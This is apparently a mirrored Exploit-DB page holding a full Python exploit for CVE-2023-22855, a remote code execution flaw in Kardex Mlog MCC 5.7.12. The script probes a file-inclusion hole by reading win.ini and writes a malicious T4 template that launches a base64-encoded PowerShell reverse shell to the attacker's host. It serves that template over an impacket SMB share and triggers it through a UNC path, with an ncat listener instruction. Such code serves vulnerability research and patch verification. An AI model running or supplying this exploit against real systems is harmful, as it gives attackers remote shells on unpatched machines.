Kardex Mlog MCC 5.7.12 – RCE (Remote Code Execution)

Exploit Database
123 阅读

作者： Patrick Hener

日期： 2023-04-05
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/51239/

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#!/usr/bin/env python3

# Exploit Title: Kardex Mlog MCC 5.7.12 - RCE (Remote Code Execution)

# Date: 12/13/2022

# Exploit Author: Patrick Hener

# Vendor Homepage: https://www.kardex.com/en/mlog-control-center

# Version: 5.7.12+0-a203c2a213-master

# Tested on: Windows Server 2016

# CVE : CVE-2023-22855

# Writeup: https://hesec.de/posts/CVE-2023-22855

# You will need to run a netcat listener beforehand: ncat -lnvp <port>

import requests, argparse, base64, os, threading

from impacket import smbserver

def probe(target):

headers = {

"Accept-Encoding": "deflate"

}

res = requests.get(f"{target}/\\Windows\\win.ini", headers=headers)

if "fonts" in res.text:

return True

else:

return False

def gen_payload(lhost, lport):

rev_shell_blob = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'

rev_shell_blob_b64 = base64.b64encode(rev_shell_blob.encode('UTF-16LE'))

payload = f"""<#@ template language="C#" #>

<#@ Import Namespace="System" #>

<#@ Import Namespace="System.Diagnostics" #>

var proc1 = new ProcessStartInfo();

string anyCommand;

anyCommand = "powershell -e {rev_shell_blob_b64.decode()}";

proc1.UseShellExecute = true;

proc1.WorkingDirectory = @"C:\Windows\System32";

proc1.FileName = @"C:\Windows\System32\cmd.exe";

proc1.Verb = "runas";

proc1.Arguments = "/c "+anyCommand;

Process.Start(proc1);

#>"""

return payload

def start_smb_server(lhost):

server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)

server.addShare("SHARE", os.getcwd(), '')

server.setSMB2Support(True)

server.setSMBChallenge('')

server.start()

def trigger_vulnerability(target, lhost):

headers = {

"Accept-Encoding": "deflate"

}

requests.get(f"{target}/\\\\{lhost}\\SHARE\\exploit.t4", headers=headers)

def main():

# Well, args

parser = argparse.ArgumentParser()

parser.add_argument('-t', '--target', help='Target host url', required=True)

parser.add_argument('-l', '--lhost', help='Attacker listening host', required=True)

parser.add_argument('-p', '--lport', help='Attacker listening port', required=True)

args = parser.parse_args()

# Probe if target is vulnerable

print("[*] Probing target")

if probe(args.target):

print("[+] Target is alive and File Inclusion working")

else:

print("[-] Target is not alive or File Inclusion not working")

exit(-1)

# Write payload to file

print("[*] Writing 'exploit.t4' payload to be included later on")

with open("exploit.t4", 'w') as template:

template.write(gen_payload(args.lhost, args.lport))

template.close()

# Start smb server in background

print("[*] Starting SMB Server in the background")

smb_server_thread = threading.Thread(target=start_smb_server, name="SMBServer", args=(args.lhost,))

smb_server_thread.start()

# Rev Shell reminder

print("[!] At this point you should have spawned a rev shell listener")

print(f"[i] 'ncat -lnvp {args.lport}' or 'rlwrap ncat -lnvp {args.lport}'")

print("[?] Are you ready to trigger the vuln? Then press enter!")

input() # Wait for input then continue

# Trigger vulnerability

print("[*] Now triggering the vulnerability")

trigger_vulnerability(args.target, args.lhost)

# Exit

print("[+] Enjoy your shell. Bye!")

os._exit(1)

if __name__ == "__main__":

main()